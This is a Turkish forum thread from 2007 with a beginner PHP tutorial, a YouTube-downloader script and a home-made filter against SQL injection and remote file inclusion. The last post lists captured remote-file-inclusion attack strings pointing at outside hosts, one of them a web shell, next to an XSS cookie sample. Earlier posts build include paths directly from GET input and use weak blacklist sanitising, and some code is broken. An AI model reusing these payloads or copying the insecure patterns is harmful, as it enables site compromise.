• 13-08-2007, 20:15:00
    #1
    Üyeliği durduruldu
    php nedir
    <?php ?>
    arasındaki herşeydir
    kısa tag olarak <? olarakta yazılabilir
    <? ... ?>
    gibi
    nasıl yazarım
    nereden başlıyalım önce php ile ekrana yazmayı görelim
    <? echo'saho'; ?>
    burada yazdırdık ama ' ' ile yazdırdık bir değişken yazdıracağımızda değişken değil düz metin olarak çıktı verilir ama henüz değişken nedir bilmiyorsunuz. o yüzden hemen değişkeni anlatalım
    $degisken='degisken iceri verisi';
    veya
    $degisken="degisken iceri verisi";
    gibi tanımlanır yine üstteki kısım
    ' ' arasında kod var ise değişken olarak değilde metin olarak algılar " " arasında olursa değişken oolduğunu anlar echo ile değişken basmaya devam örnek
    <?
    $saho='saho değişken değeri';
    echo'$saho';
    ?>
    bu ekrana
    $saho çıktısı verir
    ama
    <?
    $saho='saho değişken değeri';
    echo "$saho";
    ?>
    ekrana
    $saho değişkenin içini yani
    saho değişken değeri
    ini bastı yapar
    bir püf noktası mesala
    <?
    echo'<table><tr><td>...
    <form .....
    <input ...';
    ?>
    gibi bir yazımdan
    ?>[/php]
    <table><tr><td>...
    <form .....
    <input ...
    <?
    yazımı daha hızlı derlenmesine ve daha hızlı çıktı vermesine etki eder bu yüzden bu şekilde kullanılmalıdır bu kısımlarda ise pratik ve kısa yazımlar için bir püf noktası
    ?>
    <table><tr><td>...
    <form .....
    <input name='saho' value='<?=$saho;?>'>
    <?
    gibi
    <?= değişken ;?>
    gibi kısadan yazılabilir değişken içeriği bastırılabilir
    değişkenlere geri dönersek
    değişkenleri uc uca ekleyerek toplayabiliriz
    $degisken3=$degisken2.$degisken1;
    gibi yan yana eklenebilir burada mesala bir çok şey yaplabilir mesala aralarına ayraç koyabilirsiniz
    $degisken3=$degisken2.'ayraç'.$degisken1;
    gibi php de metin gireceğimizde bu aralıkta
    . ile durdurur ' ile metin kısmını açar ' ile kapar .
    ile php metini bitiririz, yine ' ' - " " basması geçerlidi değişken kullanmayacaksak ' ' ile metin girişi yapıp az da olsa sayfanızın hızlı derlenmesini sağlayabilirsiniz.
    değişkenlerde sıkıntınız varsa ek olarak yazabilirsiniz
    php de ölümcül nokta
    if lere geldik aslında programlama nın temeli if tir
    aslında if herşeydir hadi layn nerden çıkardın diyenlere kapak geliyo
    if e yani programlamacılığa ekşin yapıyoruz
    önce kısa gösterimler daha sonra kapak etme mevzusuna dönecem
    <?
    $saho='sahoooo';
    if($saho=='sahoooo') {
    şartımız sağlanıyorsa
    }
    ?>
    şimdi bir de şey var şartımız sağlanmıyorsa
    bunun için epey yöntem var zihnimde 3 tanesi yeterli : ) gibi yazarız 1 ara
    yöntem -1
    <?
    $saho='sahoooo';
    if($saho!='sahoooo') {
    şartımız sağlanmıyorsa
    }
    ?>
    == yerine != yaparak eşit değilse yapabiliriz
    yerini değiştiremezsiniz =! yaparsanız synatx error verir : ) != gibi kullanımı söz konusu
    yöntem -2
    <?
    $saho='sahoooo';
    if($saho<>'sahoooo') {
    şartımız sağlanmıyorsa
    }
    ?>
    yine eşit değilse diğer php nin temel yöntemi
    yöntem -3

    <?
    $saho='sahoooo';
    if($saho=='sahoooo') {
    şartımız sağlanıyorsa
    } else {
    şartımız sağlanmıyorsa
    istediğimizi elde edemediysek
    }
    ?>
    hemen basit bir örnek türkiye ip leri başlangıcı 85 var mesala
    <?
    $turk_ip='85';
    $adamin_ip=substr($_SERVER["REMOTE_ADDR"],0,2);
    if($turk_ip==$adamin_ip) {
    türkse gösterilecek sayfa
    burada genelde
    include"turkce_index.php";
    } else {
    türk ip si değilse
    include"digerdiller_index.php";
    }
    ?>
    noluyo görsetmediğin şeyler var burada derseniz
    2 şey var
    1- substr
    2- include

    hemen yan başlık açalım onlara
    substr bir değerin içeriğinin sayısal olarak uzunluklarına göre alınmasını sağlanır
    he birde
    $_SERVER["REMOTE_ADDR"] var buda kişinin ip sini alır
    kişinin ip sini aldık mesala
    85.12.98.127 gibi bir şey
    bunu substr ile
    substr($_SERVER[REMOTE_ADDR],0,2);
    yaparak adamın ip sini al 0 dan başla 2 tane karakterini al dedik ve 85 i elde etmiş oldu mesala tr olmayan bir ip ise if de diğer kısım çıkacak substr ın diğer kullanım yöntemleri mesala
    subsr($degisken,-4);
    en sağdan tersten 4 karakteri alır soldan başlamz yani şöyle bişi daha var
    substr i mesala şurada kullanırsın siteye haber ekleyeceksin makale ekleyeceksin uzun makale makalenin bir kısmını ana sayfada göstermek için
    substr($yazikaynagi,0,255);
    255 tane al ilk 255 karakteri al yani sonra kalanları almak içinse şöyle bir yöntem
    substr($yazikaynagi,255,strlen($yazikaynagi));
    gibi bir şekilde 255 den değişkenin uzunluğu kadar alırsın evet strlen o değişkenin uzunluğunu sayısal olarak çıktısını verir sonra geçtik nerede kaldıydık ya [IMG]file:///C:/DOCUME%7E1/Saho/LOCALS%7E1/Temp/msohtmlclip1/01/clip_image001.gif[/IMG]
    heh if leri vermişiz
    if böyle çok basit diyosan mesala hani programlamanın temeliydi diyosan mesala
    phpde süper değişkenler diye bir şey var bunlar
    $_GET, $_POST get form la üretilir yada link verilir php sadece form dan üretilir curl cart curt la zaten suncuuya post attırma mantığı var
    link ile mesala
    index.php?bolum=saho dersen
    <?
    if($_GET["bolum"]=="saho") {
    include"saho.php";
    } else {
    include"index.php";
    }
    ?>
    gibi bir kullanım var bunun daha pratiği switch var ama onun mantığı da yine if e dayanıyor içinde if den farklı bir şey yoktur.biraz daha basit kullanımı işte üsttekini açıklıyım devam edelim
    bolum den gelen değeri
    $_GET["bolum"] ile aldık bu saho ya eşitse
    saho.php yi sayfaya dahil ettik değilse
    index.php yi dahil ettik
    mesala 3 sayfanız var saho,deli_dana,index .php adında
    <?
    if($_GET["bolum"]=="saho") {
    include"saho.php";
    } elseif($_GET["bolum]=="deli_dana") {
    include"deli_dana.php";
    } else {
    include"index.php";
    }
    ?>
    birde mesala get ile verdiğimiz link ile include ettiğimiz dosya adı aynı olmayabilir mesala
    <?
    if($_GET["bolum"]=="saho") {
    include"sahabettin.php";
    } elseif($_GET["bolum]=="deli_dana") {
    include"hosaf.php";
    } else {
    include"index.php";
    }
    ?>
    şayet öyle ise bunlarıda dinamik hala getirebiliriz ve sürekli anca dosya adını yazmayabiliriz mesala şöyle yapabiliriz
    <?
    if($_GET["bolum"]=="saho") {
    include"$_GET["bolum"].php";
    } elseif(=="deli_dana") {
    include"$_GET["bolum].php";
    } else {
    include"index.php";
    }
    ?>
    gibi
    şimdi kısaca switch igösterem
    <?
    switch($_GET["bolum"]) {
    case"saho":
    include"saho.php";
    break;
    case"deli_dana":
    include"deli_dana.php";
    break;
    default:
    include"index.php";
    break;
    }
    ?>
    buda mesala üstteki ile aynı işi yapar biraz daha pratik ama temeli if bununda zaten
    include ye gelirsek include edersiniz
    saho mesala get bolum değeri
    saho.php yoksa include hata verir ama sayfayı basmaya devam eder
    require ile yaparsanız şöyle
    require"saho.php";
    sayfada hata verir direk sitenin diğer kısımlarınıda basmaz aslında bu saho.php sitenin temeli ise gerekli ise kesinlikle require ile sayfa ya dahil edilmelidir ki lamerlerlerin etkilerine tepkisiz kalmamnız için birde şu var mesala
    aynı fonksiyon var saho.php nin içinde fonksiyon ney hemen onada gireyim
     function saho() {
    saho fonksiyonunun içeriği
    }
    gibi mesala saho.php nin içinnde bu var
    saho.php yi oldu bir yanlışlıkla 2 kez dahil ettiniz veya dinamik bir sayfa bir şekilde 2 kez dahil olabilir sayfaya kodlarınızın durum ve karmaşası ve mantığı ve algoritmasına göre 2 kez include edildiyse mesala
    duplicate function gibi bir hata verebilir yada
    duplicate definition yani 2 kez tanımlanmış bu fonksiyon gibi bir hata verebilir yada saho.php içeriği 2 kez basılır ekrana bunu engellemek için daha önce dahil edilmiş mi bu şeyler diye kontrol etmek için
     require"saho.php";
    yerine
     require_once"saho.php";
    yapmak olayı çözer
     include"x";
    yeirnede
     include_once"x";
    kullanılabilir
    kafam dağıldı hemen
    for a geçelim mesala
     for($i=0;$i<10;$i++) {
    echo $i;
    }
    gibi yazarsak 1 den 10 a kadar ekrana yazı basar pratk halini yazalım tek satır echo bastıracaksak for içinde
     for($i=0;$i<10;$i++)
    echo $i;
    parantezleri kullanmadan da yazdıralabilir mesala
    title spam yapmak için yada etiket olayları içinde olabilir bu ben 2 sinide gösterem mesala
    $spam=array('izle','indir','gonder');
    array ney looo diyecek olursanız array
    dizi burasya girdiğimiz izle indir gonder tek değişkene atandı toplu işlemler yapmak için daha pratik olur bu buna bin bir türlü erişim var php de $spam[0] derseniz izle 0 . saçma gibi ama 0. değeri alıyor [1] gibi derğerli alıyor mesala for ile şöyle yaparsınız
     $spam=array('izle','indir','gonder');
    for($i=0;$i<count($spam);$i++)
    echo $spam[$i];
    ekrana ard arda spam ın içeriğini dizer

     count($spam)
    spam dizi-array ında kaç veri olduğunu ekrana basar mesala 3 tane ise for 3 kez döner ve tüm içeriğini basar bu amaçla kullandık burada mesala herşeyin temeli if demiştik burada for ile kullandık ya
    bunu diziler için en büyük araç olan foreach ile daha kolay basabliriz mesala
     foreach($spam as $spamx) {
    echo $spamx;
    }
    gibi yine yazdırırsın değeri vs. ile de uğraşmazsın daha pratik daha gelişmiş hali for buna göre daha ilkel yine bunda da tek satır parantezleri kullanmadan daha hızlı olabilirsiniz zaten bu parantezleri parse -syntax error ların temelidir insanı canından bezdirebilir ama eskiden di oda [IMG]file:///C:/DOCUME%7E1/Saho/LOCALS%7E1/Temp/msohtmlclip1/01/clip_image001.gif[/IMG] zend var her satırı gösteriyo parantezleri vs. ama notepad,notepad++,dreamveawer kullananlar verem olmaya devam forever verem [IMG]file:///C:/DOCUME%7E1/Saho/LOCALS%7E1/Temp/msohtmlclip1/01/clip_image002.gif[/IMG]
    php ye devam mesala iyide ekrana bu spamı bassak elimize ne geçer şöyle bişide geçer
    mesala video siten var
    video adı $video_adi adlı bir değişkenin içinde veritabanından çekilmiş duruyo veritabanından çekmeyi de görecez anca giriyoz o az uzun kafanızı çok dağıtmıyım şimdi gelmiş değişkende duruyo kabul edelim
    $video_adi içinde,
    "baptista harika röveşata" yazıyor mesala
    title spam yine bu title şeyini meta keyw a da da aktarabiliriz
     foreach($spam as $spamx)
    echo $video_adi." ".$spamx;
    gibi yaparsak
    baptista harika röveşata izle
    baptista harika röveşata indir
    baptista harika röveşata gonder
    gibi çıktılar verir title de süper gider
    daha sonra mesala array-dizi ile ilgili
    shuffle($spam);
    yaparsanız
    spam da ki izle indir gonder in [0][1][2] lerin yerlerini değişir
    birde arrayların güzelliği var toplu işlem yapabilirsiniz mesala şu
     $_GET["bolum"]
    $_GET["obje"]
    gibi 15 tane get var bunlara güvenlik uygulaması yapacaksınız ' " vs. bunlardan kurtaracaksınız
    fonksiyonlarada tekrar dönerek göstereyim mesala
     function dizi_duz($dizi) { # dizi dedimiz şey $spam mesala
    $kotu_seyler=array('or','union','...');
    return str_replace($kotu_seyler,'',addslashes(strtolower(htmlspecialchars($dizi))));
    }
    gibi dizi_duz enleme fonksiyonumuzu tanımlıyoruz
    daha sonra
     foreach($_GET as $saho=>$ankabt)
    dizi_duz($_GET[$saho]);
    gibi tüm dizi içeriğine dizi_duz de bir kez tanımladığımız tüm olayları uygulayabiliyoruz
    daha yazacağım şey var karışıkta olabilir
    Yazar Şahabettin Akca
  • 13-08-2007, 20:15:58
    #2
    Üyeliği durduruldu
    birde bunları çalıştırmanız yapabilmeniz localhostta çalıştırabilmek için
    10 Dk. da Ajax Öğren | Yaln&yacute;ıca 10 dk da ajax ö&eth;renin | Makaleler-Dersler
    üstteki 6-7 satıra bakarak localhost u öğrenebilirsiniz tekrar yazma gereği duymadım
  • 14-08-2007, 01:20:20
    #3
    Üyeliği durduruldu
    hazır yatmadan önce güvenlikle alakalı fonksiyonlara değineyim hafiften
    htmlspecialchars-htmlentities
    htmlentities iso-8859-9 ve latin5 yani türkçe desteklemiyor ,ent_quotes,iso-8859-9 yapsanda nafile bu yüzden sayfanız utf-8 yada latin1 falansa kullanmanız yoksa benzeri işi yapan
    htmlspecialchars ı kullanmanızı öneririm mesala
    form yaptınız
    <? 
    if(empty($_POST)) { ?>
    <form action='' method='post'>
    <input type=text name='icerik'>
    <input type=submit value='Git'>
    </form>
    <? } else { 
    echo $_POST[icerik];
    }
    ?>
    gibi yazdırırsanız şuan hiç bir süzme işlemi yapmadınız normal insanlar kullanablir ama
    sizin bu iyineyitinizi suistimal edecek bir ton hacker-lamer bulmak mümkün onlar da sizi bulur yada...
    bu yüzden mesala oradan
    ahmet yazıp gönderebilir ama
    <script>....</script>
    <script>document.cookie</script>
    daha bir ton zararlı kod varyasyonları var bunları mesala direk engelleyebilirsiniz
    buradan html bir kod gelmesini beklemiyorsanız htmlspecialchars ile direk tüm gelen html kodlarını egale edebilirsiniz sql de synatx hatalara verecek kodlar içinde addslashes ekliyoruz bunları topluça şöyle yazalım
     $_POST[icerik]=addslashes(htmlspecialchars($_POST[icerik]));
    mesala hiç ama hiç htmlkod gelmesini beklemiyosunuz direk kökten html temizlik için
     $_POST[icerik]=strip_tags($_POST[icerik]);
    fonksiyonunu kullanmanız yerinde olacaktır
    mysql e gireceğiniz verilere or union vs. lere replace yapıp slashes eklemek yeterli gibi görünsede php.net mysql_real_espace_string fonksiyonunu öneriyor güvenlik sayfasında
    yine diğre fonksiyonlar gibi yapıp post dizisinin input namesini [] keyi ile belirtip bir birine eşitleyebiliriz yada bir değişkene atayabiliriz yada yine aynı input keye ayarlıyacaksak
    üstte vermiştim tekrar yazayım

    <? 
    if(empty($_POST)) { ?>
    <form action='' method='post'>
    <input type=text name='icerik'>
    <input type=submit value='Git'>
    </form>
    <? } else { 
    foreach($_POST as $saho=>$ankabt) $_POST[$saho]=strip_tags($_POST[$saho]);
    echo $_POST[icerik];
    }
    ?>
    gibi kullanabiliriz
    birde bu foreach ı böyle inputtan gelen 15-20 veri gelirken hepsine uygulayıp çokdaha pratik olabilirsiniz diğer yöntem ise
     $icerik=strip_tags($_POST[icerik]);
    gibi yapabilirsiniz
    yine sql e işleyecekseniz
    foreach kısmında dönerken veri
     $_POST[$saho]=mysql_real_escape_string($_POST[$saho]);
    gibi kullanabilirsiniz...
    birdemesala
    get-posttan gelen tüm veriyi sql e işlemede slashes lemek sql den mesala
    fetch_array-row-assoc vs. array diziye atıyorsanız yani oradan da okurken stripslashes yaparak veriyi güvenli şekilde yazıp okuyabilirsiniz.
    ---
     foreach($_POST as $saho=>$anka) $_POST[$saho]=@addslashes($_POST[$saho]);
    foreach($_GET as $saho=>$anka) $_GET[$saho]=@addslashes($_GET[$saho]);
    --
    gelen tüm veriyi slashes ledik
    çıkan veride mesala
    --
    $saho=mysql_fetch_array(mysql_query("select adi from videolar where id='5' "));
    foreach($saho as $an=>$ka) $saho[$an]=stripslashes($saho[$an]);
    gibi kullanabilirsiniz
  • 14-08-2007, 02:31:30
    #4
    Gerçekten Ekşın oLmuş eLLerine sağLık Saho
  • 14-08-2007, 10:32:00
    #5
    PEAR kod standartlarına uygun yazsaydın kodları daha da güzel olurdu.

    Yine de güzel olmuş, eline sağlık.
  • 14-08-2007, 11:18:24
    #6
    Üyeliği durduruldu
    tüm yazılar bitince php nin temelini öğreneceğinize inanıyorum aklımda 1 ton yazı var daha yazarken oradan oraya habire bişiler geliyo not alıyom ama atlayacak aralıklar bulamıyom
    olmazsa yazdığım script lere bakam oradaki püf noktaları ve kullandığım fonk.ları açıklasam kullanım mantık amaçlarını yazsam epey bir işe yarar zaten az zaman
    + ben tşk ederim.
  • 14-08-2007, 11:20:52
    #7
    Kimlik doğrulama veya yönetimden onay bekliyor.
    harika olmuş adamım
  • 14-08-2007, 13:54:38
    #8
    Üyeliği durduruldu
    saol ascer ne alemdesin ya sende yaz 2 bişiler
    hazır girmişken bişi daha yazam
    youtube indirici getten gelen youtube video id sini indirir.
    <?php //php yi başlattık
    if(empty($_GET[id])) die("Id yi boş gönderemezsiniz");//id boş ise ekrana hata verdirdik ve scriptin alt kısmının çalışmasını engelledik die() fonk ile
            function dosya_al($url) {//dosya al fonksiyonunu tanımlıyoruz $url deişkenini alarak
                if(function_exists('curl_init')) {//curl fonksiyonu sunucuda mevcut kurulu ise curl ile alıyor yoksa file_get_contents ile alıyor
                    $ch = curl_init();
                    curl_setopt ($ch, CURLOPT_URL, $url);
                    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 0);
                    curl_setopt ($ch, CURLOPT_REFERER, $url);
                    $veri = curl_exec($ch);
                    curl_close($ch);
                } else {
                    $veri = file_get_contents($url);
                }
                return $veri;//veri değişkeni fonksiyondan çıktı olarak veriliyor
            }
    
    function indir($id) { //youtube indir fonk. tanımlanyor
    $url="http://www.youtube.com/watch?v=".$id;//sayfa atanıyor
    $gelen=dosya_al($url);//dosya al fonksiyonuna gidip sayfa çekiliyor
    $bic=explode('SWFObject("/player2.swf?hl=en&',$gelen); $bic=explode('"',$bic[1]);
    $title=explode('<title>',$gelen); $title=explode('</title>',$title[1]);//preg_match ile yapabilirdik ama ne biliyim zamanında explode ile yapmış koymuşum o yüzden değişmeye gerek duymadım bu explode satırlarınıda 
    //SWFObject("/player2.swf?hl=en& buradan başla" a kadar olan kısmı al dedik
    //ikinci explode ise sayfanın titlesini yani videonun adını aldık
    $veri[baslik]=$title[0];//explode nin [0] . çıktısı video adı
    $veri[link]=$bic[0]; // video deep adresi &t= olan kısmı mühimdi
    return $veri;// veri arrayına dönüş yaptırdık
    }
    $gidiyok=indir($_GET[id]);//indir fonksiyonuna id yi gönderdik ve videp deep link ile video adını aldık 
    ob_start();//header lerle işlem yapacağımız için ekşin yaptık burayıda
                  ini_set('zlib.output_compression', 'Off');//zlip çıktı sıkıştırmasını kapadık
               header('Content-Description: File Transfer');//sayfa açıklaması nı atadık
               header("Pragma: public");// cache cont dikkat ederseniz youtubeden videoyu izlediyseniz ve bu indiriciye sonra tıklarsanız mesala user videoyu izledi bğeendi indirmek istedi haşırt diye cacheden 1-2 sn de video iner
               header("Expires: 0");// geçerlilik
               header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
               header("Cache-Control: private",false);
               header("Content-Type: application/force-download");// bir tip php nin content typleri mesala resim basacaksanız image/jpeg , png gif gibi video ise karakter düzenlemesi yapacaksanız 
    //   header("Content-Type: text/html; charset=utf-8"); gibi text/xml vs. gibi atamalar yapılabilir biz burada dosya indirtmek için download yaptık içerik tipini
               header("Content-Disposition: attachment; filename=\"www.biseyret.com-".$gidiyok[baslik].".flv\";");// içeriğe aldığımız dosya adını ve başınada site adımızı ekledik inecek dosyayı sayfaya atadık
               header("Content-Transfer-Encoding: binary");// transfer tipini atadık
               header("Content-Length: ".@filesize($dadi));//indirme sayfasında çıkacak dosya boyutu şukadardır bilgisinede verdik
               readfile("http://youtube.com/get_video?$gidiyok[link]") or die("Dosya Bulunamadı");// indirme olayıda burada tamama erdi
    ?>
    iyi oldu galiba
    bu dosyayı indir.php diye kayıt edin
    indir.php?id=youtube_video_id
    gibi videoyu indir diye link verebilirsiniz şayet şöyle bişi varsa hostunuzda youtube video id sini
    http://www.youtube.com/v/NCO6y2ML7kw

    bu şekilde saklıyorsanız
    video id sine nasıl erişecem diyorsanız hemen
    split-explode 2 side olur split i anlatalım bunları
    daha önce
    https://www.r10.net/php/73461-php-de-...ibi-okuma.html
    burada vermiştim bakabilirsiniz

    http://www.youtube.com/v/NCO6y2ML7kw
    bu dosya url si

    $link değişkeninde diye düşünelim
    son video id sini almak için
    $idx=split('/',$link);
    $video_id=$idx[4];
    4. slashes(/) ten sonrası nı video_id değişkenine atamasını
    söyledik
    link verirkende
    <a href='indir.php?id=<?=$video_id;?>' title='$title videosunu indir'>
    $title İndir</a>
    gibi linklendirebilirsiniz araya img falan koyup ona link verirseniz
    vs.vs. herşey mümkün
  • 17-08-2007, 19:34:59
    #9
    Üyeliği durduruldu
    bilinen rfi ve union açıklarına tam anlamıyla olmasada epey bir engel olabilecek kısa bir kod bölütü
    if(!function_exists('stripos')) {//stripos fonk varmı yok mu diye bakıyoruz
      function stripos_clone($haystack, $needle, $offset=0) {
        return strpos(strtoupper($haystack), strtoupper($needle), $offset);//yoksa strips_clone u tanımladık
      }
    } else {
      function stripos_clone($haystack, $needle, $offset=0) {
        return stripos($haystack, $needle, $offset=0);
      }
    }
    
    if(isset($_SERVER['QUERY_STRING'])) {//isset ile bir sorgu gelmiş mi dedik geldiyse işimize devam ediyoruz
    $queryString = strtolower($_SERVER['QUERY_STRING']);//sürekli uzun yazıyı yazmamak için az kısalttık
        if (stripos_clone($queryString,'%select%20') OR stripos_clone($queryString,'%20union%20') OR stripos_clone($queryString,'union/*') OR stripos_clone($queryString,'c2nyaxb0') OR stripos_clone($queryString,'+union+') OR stripos_clone($queryString,'http://') OR stripos_clone($queryString,'https://') OR (stripos_clone($queryString,'cmd=') AND !stripos_clone($queryString,'&cmd')) OR (stripos_clone($queryString,'exec') AND !stripos_clone($queryString,'execu')) OR stripos_clone($queryString,'union') OR stripos_clone($queryString,'concat') OR stripos_clone($queryString,'ftp://')) {
            $ip = $_SERVER['REMOTE_ADDR'];
            $sayfa = $queryString;
            $time = time();
    
    /* sql e verileri işlemek isterseniz buraya giriş kodları sql yapısı ise
    CREATE TABLE `ban` (
      `id` int(250) NOT NULL auto_increment,
      `ip` varchar(250) collate latin5_bin NOT NULL default '0',
      `sayfasi` varchar(250) collate latin5_bin NOT NULL default '',
      `zaman` varchar(250) collate latin5_bin NOT NULL default '',
      PRIMARY KEY  (`id`)
    ) ENGINE=MyISAM ;
    
    $sql = "INSERT INTO ban VALUES (NULL,'$ip','$sayfa', '$time')";
    $query = mysql_query($sql); 
    */
          die('<title>AMAN ALLAH\'IM HACKER N\'OLUR BENİ HACKLAMA</title><center>AMAN ALLAH\'IM HACKER N\'OLUR BENİ HACKLAMA<BR><BR><img src=imajlar/bandik.gif><br><br>Yapmaya çalıştığınız işlem; <b>'.$queryString.'</b><br> Ip niz<b>; '.$ip.'</b><br><br>lamerlik sağlığa zararlıdır.</center>');//die mesajı
        unset($queryString);// değişkeni bellekten kaldır
    exit;//aşağısındaki tüm kodların çalışmasını die iptal etti ama yinede işimizi garantiye alıp exit; yaptık
    }
      }
    php dosyanızın en üstüne <? , <?php den sonra bu kodları ekleyiniz.

    benim yakaladığım rfi ler
    INSERT INTO `ban` VALUES (19, '201.43.54.9', 'action=http://yem.wpc.or.kr/event_popup/2000603japan/0603japan.files/slide0013_image112.jpg?&cmd=id', '1156264412');
    
    INSERT INTO `ban` VALUES (21, '62.94.78.208', 'l=http://84.19.178.60/~sky/dir/ex.txt?', '1158662636');
    INSERT INTO `ban` VALUES (22, '62.23.104.90', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158857954');
    INSERT INTO `ban` VALUES (23, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158857966');
    INSERT INTO `ban` VALUES (24, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158857966');
    INSERT INTO `ban` VALUES (25, '212.34.136.15', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858011');
    INSERT INTO `ban` VALUES (26, '62.23.104.90', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858023');
    INSERT INTO `ban` VALUES (27, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858038');
    INSERT INTO `ban` VALUES (28, '69.94.12.137', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858041');
    INSERT INTO `ban` VALUES (29, '201.238.231.66', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858043');
    INSERT INTO `ban` VALUES (30, '201.238.231.66', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858045');
    INSERT INTO `ban` VALUES (31, '62.23.104.90', 'k=http://www.moondremi.co.kr/kboard/data/power/ice.dat?', '1158858091');
    INSERT INTO `ban` VALUES (32, '201.28.202.17', 'func=http://myspace.si/images/delete.gif??', '1159528932');
    INSERT INTO `ban` VALUES (33, '87.8.117.67', 'action=http://busca.uol.com.br/uol/index.html?&cmd=id&id=13', '1161170373');
    INSERT INTO `ban` VALUES (34, '87.8.117.67', 'action=view&id=http://busca.uol.com.br/uol/index.html?&cmd=id', '1161170373');
    INSERT INTO `ban` VALUES (35, '87.2.182.188', 'action=http://busca.uol.com.br/uol/index.html?&cmd=id&amp;by=a', '1163459067');
    INSERT INTO `ban` VALUES (36, '194.150.108.158', 'func=http://www.inprocon-deutschland.de/images/cc.txt?', '1165604544');
    INSERT INTO `ban` VALUES (37, '85.99.51.101', 'action=http://bolivar44.byethost9.com/r57shell.txt?', '1166196248');
    INSERT INTO `ban` VALUES (38, '64.186.239.116', 'action=view&id=8//index2.php?_request=&_request[option]=com_content&_request[itemid]=1&globals=&mosconfig_absolute_path=http://rds.ene.unb.br/rds/.../a/echo4?', '1182635888');
    bunlar da eski sql kayıtları diye hatırlıyorum işinze yarar